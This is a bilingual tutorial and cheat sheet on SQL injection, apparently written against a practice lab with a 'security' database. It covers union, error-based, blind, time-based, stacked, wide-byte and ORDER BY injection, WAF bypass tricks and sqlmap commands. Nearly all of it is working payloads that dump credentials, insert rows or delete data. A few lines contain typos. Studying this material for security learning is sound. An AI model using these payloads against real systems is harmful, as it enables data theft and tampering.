SQL injection principles
-
User-controllable parameters: The content of parameters passed from the front end to the back end is controllable by the user.
-
Parameters are brought into the database query: the parameters passed in are spliced into the SQL statement and brought into the database query.
When the id parameter passed in is 1', the code executed by the database is as follows
select * from users where id=1'
This does not comply with the database syntax specification, so an error will be reported. When the parameter of the incoming ID is and 1=1, the executed statement is
select * from users where id=1 and 1=1
Because 1=1 is true, and id=1 in the where statement is also true, the page returns the same result as id=1. When the incoming ID parameter is and1=2, since 1=2 is not true, false is returned, and the page will return a different result than id=1.
1. Joint query
1. Determine the injection point
#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1 #页面运行正常
?id=1' and '1'='2 #页面运行不正常
#数字型判断
?id=1' and 1=1 -- - #页面运行正常
?id=1' and 1=2 -- - #页面运行不正常
注入点注入符号
引号型注入 ' 单引号注入 "双引号注入
混合型注入 ') 单引号加括号注入 ")双引号加括号注入
括号注入 ) 括号注入
The demonstration is string injection. By returning different results, this website may have a SQL injection vulnerability.
2. Query fields
?id=1'
?id=1' order by 3
?id=1' order by 4
order by queries the number of fields in the data table
The result of accessing id=1' order by 3 is the same as the result of id=1. The result of accessing id=1' order by 4 is different from the result of id=1.
Conclusion : Number of fields is 3
3. Determine the echo point
?id=-1' union select 1,2,3
Construct a statement based on the number of fields to determine the echo
4.Basic query information
#查询当前数据库
union select 1,database(),3
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询指定数据库所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#查询指定数据库指定表的指定列的字段值
select group_concat(username,0x3a,password) from security.users
2. Error injection
The program inputs error information onto the page and uses error injection to obtain data.
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- +
1.substr() function
Use the substr function to read the output content piece by piece
substr("123456",1,5) #12345
2. Query statement
The query statement is the same as union injection, and only one result is displayed when reporting an error.
#获取 列的字段数
id=1' union select 1,2,3 #回显 you are in...
id=1' union select 1,2,3,4
#回显 The used SELECT statements have a different number of columns
#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+
3. Boolean blind injection
1.length() function
Determine the length of the database length()
' and length(database())>=1 --+
2.substr() function
' and substr(database(),1,1)='t' -- +
3.ord() function
ord() function: convert to ascii code
' ord(substr(database(),1,1))=115 -- +
4. Query statement
#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114 -- +
and ascii(substr(database()1,1))=115 -- +
#查询表名
and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1 )='e' -- +
4. Time blind injection
For GET injection, since the id value itself is true, the and operator is used to determine the injection point.
The POST injection uname itself is false. Use the or operator to determine the injection point.
Determine the closing method
and sleep(5) -- -
Number of judgment fields 3
order by 3
order by 4
if("expression", condition 1, condition 2,) if(1=2,1,0)-->0
if(length(database())>=1,sleep(5),1)
1.sleep() delay function
sleep(5) #Page loading delay for 5 seconds
if(length(database())>=1,sleep(5),1)
2. Query statement
#判断数据库名称
and if(length(database())=1,sleep(5),1) -- -
and if(length(database())=1,sleep(5),1) -- -
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1) -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='8LPD9XiO' limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and if(ascii(substr((select group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+
5. Stack injection
';select if(substr(user(),1,1)='r',sleep(3),1)%23
By constructing different time injection statements, you can get the complete database name, table name, field name and specific data.
1. Query statement
#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
2. Use joint injection
#判断注入点 单引号注入
?id=1' and 1=1-- - HTTP/1.1
?id=1' and 1=2-- - HTTP/1.1
#判断字段数目 3
?id=1' order by 3 -- - HTTP/1.1
?id=1' order by 4 -- - HTTP/1.1 #Unknown column '4' in 'order clause'
#判断回显位 2,3
?id=-1' union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1' union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 -- - HTTP/1.1
3. Use stack injection to insert data into user
#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等 ?id=67
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));
6. Wide byte injection
1. Query statement
#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量 3
id=1%df' order by 3%23
id=1%df' order by 4%23 #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database())
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select 1,(select group_concat(id,flag) from security.GGXSsnCj),3%23
7. Injection after order by
① Directly inject statements, ?sort=(select)
②Use some functions. For example, rand() function, etc. ?sort=rand(sql statement)
③Use and, for example?sort=1 and (sql statement)
④The results of rand(true) and rand(false) are different. You can use this property to inject
?sort=right(version(),1)
1. Use error injection
#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))
2. Use rand(true) and rand(false)
?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)
3. Use delayed injection
#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +
4. Use and
#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) -- +
Key points: Common Waf bypass methods
1. Case bypass
and And or Or
2.Double write bypass
select -----seselectlect
and-----aandnd
union-----uunionnion
3. Encoding bypass
Hex encoding, URL encoding, wide byte, Unicode encoding
Encoding format | encoding form |
---|---|
URL encoding | %66%72%20%31%3d%31(and 1=1) |
Unicode encoding | n%u0069on |
4. Space bypass method
/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d
5. Equivalent characters and equivalent functions
filtering of and or xor
-
and => &&
-
or => ||
-
xor => ^
-
not => !
6. Equivalent function
hex()、 bin()==>ascii()
concat_ws()==>group_concat()
sleep()==>benchmark()
mid()、substr()==>substring()
@@user==user()
@datadir==datadir()
Summarize the main query statements
#爆当前数据库
select 1,database(),3
#爆所有数据库
select group_concat(schema_name) from information_schema.schemata
#爆所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#爆部分表数据
select table_name from information_schema.tables where table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#爆字段数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#爆字段值
select group_concat(username,0x3a,password) from security.users
Use of SQLMAP tool
Step 1: Determine whether there is an injection point
sqlmap.py -u "http://localhost/sql/Less-1/?id=1"
Step 2: Query the database
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs
Step 3: View the current database
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db
Step 4: List all tables in the specified database
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables
Step 5: Read the field names in the specified table
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T users --colunms
Step 6: Read the contents of the specified field
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T users -C username,password --dump